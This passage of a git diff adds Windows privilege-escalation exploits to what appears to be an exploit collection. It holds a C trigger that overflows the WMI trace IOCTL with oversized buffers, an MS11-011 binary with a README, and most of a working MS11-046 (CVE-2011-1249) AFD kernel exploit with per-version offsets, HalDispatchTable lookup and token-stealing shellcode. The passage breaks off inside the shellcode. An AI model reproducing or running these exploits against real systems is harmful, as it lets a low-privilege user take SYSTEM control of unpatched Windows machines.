HANDLE hDevice; + if((hDevice = open_device()) == INVALID_HANDLE_VALUE){ + printf("open_device failed!\n"); + return 0; + } + + if(!start_usermode_logger(hDevice)){ + printf("start_usermode_logger failed!\n"); + return 0; + } + + /* + if(!start_logger(hDevice)){ + printf("start_logger failed!\n"); + return 0; + } + */ + trigger(hDevice); + return 0; +} + +HANDLE open_device() +{ + char deviceName[] = "\\\\.\\WMIDataDevice"; + HANDLE hDevice; + if ( (hDevice = CreateFileA(deviceName, + GENERIC_READ|GENERIC_WRITE, + //0, + 0, + 0, + OPEN_EXISTING, + 0, + NULL) ) != INVALID_HANDLE_VALUE ) + { + printf("Device succesfully opened!\n"); + return hDevice; + } + else + { + printf("Error: Error opening device at NULL premission\n"); + return INVALID_HANDLE_VALUE; + } +} + +int start_usermode_logger(HANDLE hDevice) +{ + ULONG status = ERROR_SUCCESS; + TRACEHANDLE SessionHandle = 0; + EVENT_TRACE_PROPERTIES* pSessionProperties = NULL; + ULONG BufferSize = 0; + BOOL TraceOn = TRUE; + + // Allocate memory for the session properties. The memory must + // be large enough to include the log file name and session name, + // which get appended to the end of the session properties structure. + + BufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGFILE_PATH) + +sizeof(LOGSESSION_NAME); + pSessionProperties = (EVENT_TRACE_PROPERTIES*) malloc(BufferSize); + if (NULL == pSessionProperties) + { + wprintf(L"Unable to allocate %d bytes for properties +structure.\n", BufferSize); + return 0; + } + + // Set the session properties. You only append the log file name + // to the properties structure; the StartTrace function appends + // the session name for you. + + ZeroMemory(pSessionProperties, BufferSize); + pSessionProperties->Wnode.BufferSize = BufferSize; + pSessionProperties->Wnode.Flags = WNODE_FLAG_TRACED_GUID; + pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution + pSessionProperties->Wnode.Guid = SessionGuid; + pSessionProperties->LogFileMode = EVENT_TRACE_FILE_MODE_CIRCULAR | +EVENT_TRACE_USE_PAGED_MEMORY; + pSessionProperties->MaximumFileSize = 5; // 5 MB + pSessionProperties->LoggerNameOffset = sizeof(EVENT_TRACE_PROPERTIES); + pSessionProperties->LogFileNameOffset = +sizeof(EVENT_TRACE_PROPERTIES) + sizeof(LOGSESSION_NAME); + StringCbCopy((LPWSTR)((char*)pSessionProperties + +pSessionProperties->LogFileNameOffset), sizeof(LOGFILE_PATH), LOGFILE_PATH); + + // Create the trace session. + + status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION_NAME, +pSessionProperties); + if (ERROR_SUCCESS != status) + { + wprintf(L"StartTrace() failed with %lu\n", status); + return 0; + } + + // Enable the providers that you want to log events to your session. + + status = EnableTrace( + TraceOn, // TRUE enables the provider + 0, // No enable flags + TRACE_LEVEL_INFORMATION, // Enable informational, warning, error +and critical events + (LPCGUID)&ProviderGuid, // Provider to enable + SessionHandle // Session handle from StartTrace + ); + + if (ERROR_SUCCESS != status) + { + wprintf(L"EnableTrace() failed with %lu\n", status); + TraceOn = FALSE; + return 0; + } + + wprintf(L"Run the provider application. Then hit any key to stop the +session.\n"); + return 1; +} + +int trigger(HANDLE hDevice) +{ + + DWORD cb, inlen, outlen; + char *buff, *buff_out = NULL; + + DWORD result = 0; + unsigned char str[] = "fuckdata"; + + MESSAGE_TRACE_USER Message; + + Message.MessageHeader.Marker = 0xBEBEBEBE; + Message.MessageHeader.Header = 0xEFEFEFEF; + + Message.MessageFlags = 0xC0C0DEDE; + + //Message.LoggerHandle = 0xC0DEC0DEDEADDEAD; + //Message.LoggerHandle = 0xC0DEC0DE12340001;//last WORD should be in +1 < n < 40 + Message.LoggerHandle = 0xC0DEC0DE12340000;//last WORD should be in 1 +< n < 40 + + Message.MessageGuid.Data1 = 0xC0DEDEAD; + Message.MessageGuid.Data2 = 0xDEC0; + Message.MessageGuid.Data3 = 0xDEDE; + memcpy(Message.MessageGuid.Data4, str, 8); + + //Message.DataSize = 0xDEADBEEF; + //Message.DataSize = 0x0000FFFE;//in fixed versioon should be < 0x1FD0 + Message.DataSize = 0x00010FF0;//in fixed versioon should be < 0x1FD0 + Message.Data = '0'; + + //DWORD ioctl = 0x2280A3; + + buff_out = (char*)malloc(0x2000); + if(!buff_out){ + printf("malloc failed"); + return 0; + } + memset(buff_out, 0x0, 0x2000); + + cb = 0; + buff = (char*)malloc(0x20000); + if(!buff){ + printf("malloc failed"); + return 0; + } + memset(buff, 'A', 0x20000-1); + + + + outlen = 0x0; + inlen = 0x15000; + + memcpy(buff, &Message, 0x30); + //result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE, +(LPVOID)&Message, inlen, (LPVOID)buff_out, outlen, &cb, NULL); + for(int i =0; i< 0x40; i++){ + Message.LoggerHandle++; + memset(buff, 'A', 0x20000-1); + memcpy(buff, &Message, 0x30); + + result = DeviceIoControl(hDevice, IOCTL_WMI_TRACE_MESSAGE, +(LPVOID)buff, inlen, (LPVOID)buff_out, outlen, &cb, NULL); + printf("ioctl = 0x%08X, id = %d, result = %d\n", +IOCTL_WMI_TRACE_MESSAGE, i, result); + } + printf("done!"); + free(buff); +} diff --git a/97-Windows提权/MS11-011/MS11-011.exe b/97-Windows提权/MS11-011/MS11-011.exe new file mode 100644 index 0000000..d2ab778 Binary files /dev/null and b/97-Windows提权/MS11-011/MS11-011.exe differ diff --git a/97-Windows提权/MS11-011/README.md b/97-Windows提权/MS11-011/README.md new file mode 100644 index 0000000..00e36be --- /dev/null +++ b/97-Windows提权/MS11-011/README.md @@ -0,0 +1,14 @@ +# MS11-011 + + +Vulnerability reference: + * [MS11-011](https://technet.microsoft.com/library/security/ms11-011) + * [CVE-2010-4398](https://www.exploit-db.com/exploits/11199/) + + +## References +[MS11-011漏洞分析](http://bbs.pediy.com/thread-130434.htm) + + + + diff --git a/97-Windows提权/MS11-046/2003.png b/97-Windows提权/MS11-046/2003.png new file mode 100644 index 0000000..bad5d4e Binary files /dev/null and b/97-Windows提权/MS11-046/2003.png differ diff --git a/97-Windows提权/MS11-046/2003_k8.png b/97-Windows提权/MS11-046/2003_k8.png new file mode 100644 index 0000000..11e1bd0 Binary files /dev/null and b/97-Windows提权/MS11-046/2003_k8.png differ diff --git a/97-Windows提权/MS11-046/CVE-2011-1249.c b/97-Windows提权/MS11-046/CVE-2011-1249.c new file mode 100644 index 0000000..9bf91f9 --- /dev/null +++ b/97-Windows提权/MS11-046/CVE-2011-1249.c @@ -0,0 +1,810 @@ +/* +################################################################ +# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046) +# Date: 2016-10-16 +# Exploit Author: Tomislav Paskalev +# Vulnerable Software: +# Windows XP SP3 x86 +# Windows XP Pro SP2 x64 +# Windows Server 2003 SP2 x86 +# Windows Server 2003 SP2 x64 +# Windows Server 2003 SP2 Itanium-based Systems +# Windows Vista SP1 x86 +# Windows Vista SP2 x86 +# Windows Vista SP1 x64 +# Windows Vista SP2 x64 +# Windows Server 2008 x86 +# Windows Server 2008 SP2 x86 +# Windows Server 2008 x64 +# Windows Server 2008 SP2 x64 +# Windows Server 2008 Itanium-based Systems +# Windows Server 2008 SP2 Itanium-based Systems +# Windows 7 x86 +# Windows 7 SP1 x86 +# Windows 7 x64 +# Windows 7 SP1 x64 +# Windows Server 2008 R2 x64 +# Windows Server 2008 R2 SP1 x64 +# Windows Server 2008 R2 Itanium-based Systems +# Windows Server 2008 R2 SP1 Itanium-based Systems +# Supported Vulnerable Software: +# Windows XP SP3 x86 +# Windows Server 2003 SP2 x86 +# Windows Vista SP1 x86 +# Windows Vista SP2 x86 +# Windows Server 2008 x86 +# Windows Server 2008 SP2 x86 +# Windows 7 x86 +# Windows 7 SP1 x86 +# Tested Software: +# Windows XP Pro SP3 x86 EN [5.1.2600] +# Windows Server 2003 Ent SP2 EN [5.2.3790] +# Windows Vista Ult SP1 x86 EN [6.0.6001] +# Windows Vista Ult SP2 x86 EN [6.0.6002] +# Windows Server 2008 Dat SP1 x86 EN [6.0.6001] +# Windows Server 2008 Ent SP2 x86 EN [6.0.6002] +# Windows 7 HB x86 EN [6.1.7600] +# Windows 7 Ent SP1 x86 EN [6.1.7601] +# CVE ID: 2011-1249 +################################################################ +# Vulnerability description: +# The Ancillary Function Driver (AFD) supports Windows sockets +# applications and is contained in the afd.sys file. The afd.sys +# driver runs in kernel mode and manages the Winsock TCP/IP +# communications protocol. +# An elevation of privilege vulnerability exists where the AFD +# improperly validates input passed from user mode to the kernel. +# An attacker must have valid logon credentials and be able to +# log on locally to exploit the vulnerability. +# An attacker who successfully exploited this vulnerability could +# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM +# privileges). +################################################################ +# Exploit notes: +# Privileged shell execution: +# - the SYSTEM shell will spawn within the invoking shell/process +# Exploit compiling (Kali GNU/Linux Rolling 64-bit): +# - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32 +# Exploit prerequisites: +# - low privilege access to the target OS +# - target OS not patched (KB2503665, or any other related +# patch, if applicable, not installed - check "Related security +# vulnerabilities/patches") +# Exploit test notes: +# - let the target OS boot properly (if applicable) +# - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset +################################################################ +# Patches: +# Windows XP SP3 x86 +# WindowsXP-KB2503665-x86-enu.exe +# (not available - EoL) +# Windows Server 2003 SP2 x86 +# WindowsServer2003-KB2503665-x86-enu.exe +# https://www.microsoft.com/en-us/download/details.aspx?id=26483 +# Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86 +# Windows6.0-KB2503665-x86.msu +# https://www.microsoft.com/en-us/download/details.aspx?id=26275 +# Windows 7 (SP0), SP1 x86 +# Windows6.1-KB2503665-x86.msu +# https://www.microsoft.com/en-us/download/details.aspx?id=26311 +################################################################ +# Related security vulnerabilities/patches: +# MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx +# MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx +# MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx +# MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx +# MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx +# +# Table of patch replacements: +# | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 | +# ------------------------------------------------------------- +# | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 | +# ----------------------------------------------------------------------------------------- +# Windows x86 XP SP3 | Installed | <-Replaces| - | - | - | +# Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces| +# Windows x86 Vista SP1 | Installed | - | - | - | - | +# Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces| +# Windows x86 Server 2008 | Installed | - | - | - | - | +# Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces| +# Windows x86 7 | Installed | - | - | - | - | +# Windows x86 7 SP1 | Installed | - | - | - | <-Replaces| +################################################################ +# Thanks to: +# azy (XP, 2k3 exploit) +# Rahul Sasi (PoC) +################################################################ +# References: +# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249 +# https://technet.microsoft.com/en-us/library/security/ms11-046.aspx +# http://web.qhwins.com/Security/2012021712023641874126.html +# https://www.exploit-db.com/exploits/18755/ +################################################################ +*/ + + +#include +#include +#include +#include + +#pragma comment (lib, "ws2_32.lib") + + +//////////////////////////////////////////////////////////////// +// DEFINE DATA TYPES +//////////////////////////////////////////////////////////////// + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE, *PKPROFILE_SOURCE; + + +typedef DWORD (WINAPI *PNTQUERYINTERVAL) ( + KPROFILE_SOURCE ProfileSource, + PULONG Interval +); + + +typedef LONG NTSTATUS; + + +typedef NTSTATUS (WINAPI *PNTALLOCATE) ( + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG ZeroBits, + PULONG RegionSize, + ULONG AllocationType, + ULONG Protect +); + + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Reserved[2]; + PVOID Base; + ULONG Size; + ULONG Flags; + USHORT Index; + USHORT Unknown; + USHORT LoadCount; + USHORT ModuleNameOffset; + CHAR ImageName[256]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + + +typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); + + +//////////////////////////////////////////////////////////////// +// FUNCTIONS +//////////////////////////////////////////////////////////////// + +BOOL IsWow64() +{ + BOOL bIsWow64 = FALSE; + LPFN_ISWOW64PROCESS fnIsWow64Process; + + fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process"); + + if(NULL != fnIsWow64Process) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx + if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64)) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + printf(" [-] Failed (error code: %d)\n", GetLastError()); + return -1; + } + } + return bIsWow64; +} + + +//////////////////////////////////////////////////////////////// +// MAIN FUNCTION +//////////////////////////////////////////////////////////////// + +int main(void) +{ + printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n"); + printf(" [*] by Tomislav Paskalev\n"); + + + //////////////////////////////////////////////////////////////// + // IDENTIFY TARGET OS ARCHITECTURE AND VERSION + //////////////////////////////////////////////////////////////// + + printf("[*] Identifying OS\n"); + + + // identify target machine's OS architecture + // in case the target machine is running a 64-bit OS + if(IsWow64()) + { + printf(" [-] 64-bit\n"); + return -1; + } + + printf(" [+] 32-bit\n"); + + + // identify target machine's OS version + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx + OSVERSIONINFOEX osvi; + ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX)); + osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX); + GetVersionEx((LPOSVERSIONINFO) &osvi); + + // define operating system version specific variables + unsigned char shellcode_KPROCESS; + unsigned char shellcode_TOKEN; + unsigned char shellcode_UPID; + unsigned char shellcode_APLINKS; + const char **securityPatchesPtr; + int securityPatchesCount; + int lpInBufferSize; + + //////////////////////////////////////////////////////////////// + /* + OS VERSION SPECIFIC OFFSETS + + references: + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm + http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/ + + + - nt!_KTHREAD.ApcState.Process (+0x10) + 0x30 (3.51); + 0x34 (>3.51 to 5.1); + 0x28 (late 5.2); + 0x38 (6.0); + 0x40 (6.1); + 0x70 (6.2 and higher) + + - nt!_EPROCESS.Token + 0x0108 (3.51 to 4.0); + 0x012C (5.0); + 0xC8 (5.1 to early 5.2); + 0xD8 (late 5.2); + 0xE0 (6.0); + 0xF8 (6.1); + 0xEC (6.2 to 6.3); + 0xF4 + + - nt!_EPROCESS.UniqueProcessId + 0x94 (3.51 to 4.0); + 0x9C (5.0); + 0x84 (5.1 to early 5.2); + 0x94 (late 5.2); + 0x9C (6.0); + 0xB4 + + - nt!_EPROCESS.ActiveProcessLinks.Flink + 0x98 (3.51 to 4.0); + 0xA0 (5.0); + 0x88 (5.1 to early 5.2); + 0x98 (late 5.2); + 0xA0 (6.0); + 0xB8 + + */ + //////////////////////////////////////////////////////////////// + + // in case the OS version is 5.1, service pack 3 + if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3)) + { + // the target machine's OS is Windows XP SP3 + printf(" [+] Windows XP SP3\n"); + shellcode_KPROCESS = '\x44'; + shellcode_TOKEN = '\xC8'; + shellcode_UPID = '\x84'; + shellcode_APLINKS = '\x88'; + const char *securityPatches[] = {"KB2503665", "KB2592799"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 2; + lpInBufferSize = 0x30; + } + + // in case the OS version is 5.2, service pack 2, not R2 + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx + else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0)) + { + // the target machine's OS is Windows Server 2003 SP2 + printf(" [+] Windows Server 2003 SP2\n"); + shellcode_KPROCESS = '\x38'; + shellcode_TOKEN = '\xD8'; + shellcode_UPID = '\x94'; + shellcode_APLINKS = '\x98'; + const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 4; + lpInBufferSize = 0x30; + } + + // in case the OS version is 6.0, service pack 1, workstation + else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1)) + { + // the target machine's OS is Windows Vista SP1 + printf(" [+] Windows Vista SP1\n"); + shellcode_KPROCESS = '\x48'; + shellcode_TOKEN = '\xE0'; + shellcode_UPID = '\x9C'; + shellcode_APLINKS = '\xA0'; + const char *securityPatches[] = {"KB2503665"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 1; + lpInBufferSize = 0x30; + } + + // in case the OS version is 6.0, service pack 2, workstation + else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1)) + { + // the target machine's OS is Windows Vista SP2 + printf(" [+] Windows Vista SP2\n"); + shellcode_KPROCESS = '\x48'; + shellcode_TOKEN = '\xE0'; + shellcode_UPID = '\x9C'; + shellcode_APLINKS = '\xA0'; + const char *securityPatches[] = {"KB2503665", "KB2975684"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 2; + lpInBufferSize = 0x10; + } + + // in case the OS version is 6.0, no service pack*, server + // *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1; + // accordingly, the first service pack is called Service Pack 2. + // https://en.wikipedia.org/wiki/Windows_Server_2008 + else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1)) + { + // the target machine's OS is Windows Server 2008 + printf(" [+] Windows Server 2008\n"); + shellcode_KPROCESS = '\x48'; + shellcode_TOKEN = '\xE0'; + shellcode_UPID = '\x9C'; + shellcode_APLINKS = '\xA0'; + const char *securityPatches[] = {"KB2503665"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 1; + lpInBufferSize = 0x10; + } + + // in case the OS version is 6.0, service pack 2, server + else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1)) + { + // the target machine's OS is Windows Server 2008 SP2 + printf(" [+] Windows Server 2008 SP2\n"); + shellcode_KPROCESS = '\x48'; + shellcode_TOKEN = '\xE0'; + shellcode_UPID = '\x9C'; + shellcode_APLINKS = '\xA0'; + const char *securityPatches[] = {"KB2503665", "KB2975684"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 2; + lpInBufferSize = 0x08; + } + + // in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only) + else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0)) + { + // the target machine's OS is Windows 7 + printf(" [+] Windows 7\n"); + shellcode_KPROCESS = '\x50'; + shellcode_TOKEN = '\xF8'; + shellcode_UPID = '\xB4'; + shellcode_APLINKS = '\xB8'; + const char *securityPatches[] = {"KB2503665"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 1; + lpInBufferSize = 0x20; + } + + // in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only) + else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1)) + { + // the target machine's OS is Windows 7 SP1 + printf(" [+] Windows 7 SP1\n"); + shellcode_KPROCESS = '\x50'; + shellcode_TOKEN = '\xF8'; + shellcode_UPID = '\xB4'; + shellcode_APLINKS = '\xB8'; + const char *securityPatches[] = {"KB2503665", "KB2975684"}; + securityPatchesPtr = securityPatches; + securityPatchesCount = 2; + lpInBufferSize = 0x10; + } + + // in case the OS version is not any of the previously checked versions + else + { + // the target machine's OS is an unsupported 32-bit Windows version + printf(" [-] Unsupported version\n"); + printf(" [*] Affected 32-bit operating systems\n"); + printf(" [*] Windows XP SP3\n"); + printf(" [*] Windows Server 2003 SP2\n"); + printf(" [*] Windows Vista SP1\n"); + printf(" [*] Windows Vista SP2\n"); + printf(" [*] Windows Server 2008\n"); + printf(" [*] Windows Server 2008 SP2\n"); + printf(" [*] Windows 7\n"); + printf(" [*] Windows 7 SP1\n"); + return -1; + } + + + //////////////////////////////////////////////////////////////// + // LOCATE REQUIRED OS COMPONENTS + //////////////////////////////////////////////////////////////// + + printf("[*] Locating required OS components\n"); + + + // retrieve system information + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx + // locate "ZwQuerySystemInformation" in the "ntdll.dll" module + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx + FARPROC ZwQuerySystemInformation; + ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation"); + + // 11 = SystemModuleInformation + // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm + ULONG systemInformation; + ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation); + + // allocate memory for the list of loaded modules + ULONG *systemInformationBuffer; + systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer)); + + if(!systemInformationBuffer) + { + printf(" [-] Could not allocate memory"); + return -1; + } + + + // retrieve the list of loaded modules + ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL); + + // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules + ULONG i; + PVOID targetKrnlMdlBaseAddr; + HMODULE targetKrnlMdlUsrSpcOffs; + BOOL foundModule = FALSE; + PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr; + loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1); + + for(i = 0; i < *systemInformationBuffer; i++) + { + if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe")) + { + printf(" [+] ntkrnlpa.exe\n"); + targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1); + targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; + foundModule = TRUE; + break; + } + else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe")) + { + printf(" [+] ntoskrnl.exe\n"); + targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1); + targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base; + foundModule = TRUE; + break; + } + } + + // base address of the loaded module (kernel space) + printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr); + + // offset address (relative to the parent process) of the loaded module (user space) + printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs); + + if(!foundModule) + { + printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n"); + return -1; + } + + // free allocated buffer space + free(systemInformationBuffer); + + + // determine the address of the "HalDispatchTable" process (kernel space) + // locate the offset fo the "HalDispatchTable" process within the target module (user space) + ULONG_PTR HalDispatchTableUsrSpcOffs; + HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable"); + + if(!HalDispatchTableUsrSpcOffs) + { + printf(" [-] Could not find HalDispatchTable\n"); + return -1; + } + + printf(" [+] HalDispatchTable\n"); + printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs); + + // calculate the address of "HalDispatchTable" in kernel space + // 1. identify the base address of the target module in kernel space + // 2. previous step's result [minus] the load address of the same module in user space + // 3. previous step's result [plus] the address of "HalDispatchTable" in user space + // EQUIVALENT TO: + // 1. determine RVA of HalDispatchTable + // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it. + // 2. previous step's result [plus] base address of target module in kernel space + ULONG_PTR HalDispatchTableKrnlSpcAddr; + HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs; + HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr; + + + // locate "NtQueryIntervalProfile" in the "ntdll.dll" module + PNTQUERYINTERVAL NtQueryIntervalProfile; + NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); + + if(!NtQueryIntervalProfile) + { + printf(" [-] Could not find NtQueryIntervalProfile\n"); + return -1; + } + + printf(" [+] NtQueryIntervalProfile\n"); + printf(" [*] Address: %#010x\n", NtQueryIntervalProfile); + + + // locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module + // https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx + FARPROC ZwDeviceIoControlFile; + ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile"); + + if(!ZwDeviceIoControlFile) + { + printf(" [-] Could not find ZwDeviceIoControlFile\n"); + return -1; + } + + printf(" [+] ZwDeviceIoControlFile\n"); + printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile); + + + //////////////////////////////////////////////////////////////// + // SETUP EXPLOITATION PREREQUISITE + //////////////////////////////////////////////////////////////// + + printf("[*] Setting up exploitation prerequisite\n"); + + + // initialize Winsock DLL + printf (" [*] Initialising Winsock DLL\n"); + WORD wVersionRequested; + WSADATA wsaData; + int wsaStartupErrorCode; + + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx + wVersionRequested = MAKEWORD(2, 2); + + // initiate the use of the Winsock DLL + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx + wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData); + + if(wsaStartupErrorCode != 0) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode); + return -1; + } + + printf(" [+] Done\n"); + + + // create socket + printf(" [*] Creating socket\n"); + SOCKET targetDeviceSocket = INVALID_SOCKET; + + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx + targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); + + if(targetDeviceSocket == INVALID_SOCKET) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + printf(" [-] Failed (error code: %ld)\n", WSAGetLastError()); + return -1; + } + + printf(" [+] Done\n"); + + + // connect to a closed port + // connect to port 0 on the local machine + struct sockaddr_in clientService; + clientService.sin_family = AF_INET; + clientService.sin_addr.s_addr = inet_addr("127.0.0.1"); + clientService.sin_port = htons(0); + + printf(" [*] Connecting to closed port\n"); + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx + int connectResult; + connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService)); + if (connectResult == 0) + { + // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + printf (" [-] Connected (error code: %ld)\n", WSAGetLastError()); + return -1; + } + + printf(" [+] Done\n"); + + + //////////////////////////////////////////////////////////////// + // CREATE TOKEN STEALING SHELLCODE + //////////////////////////////////////////////////////////////// + + printf("[*] Creating token stealing shellcode\n"); + + + // construct the token stealing shellcode + unsigned char shellcode[] = + { + 0x52, // PUSH EDX Save EDX on the stack (save context) + 0x53, // PUSH EBX Save EBX on the stack (save context) + 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0) + 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure + 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure + 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX + 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN + 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] 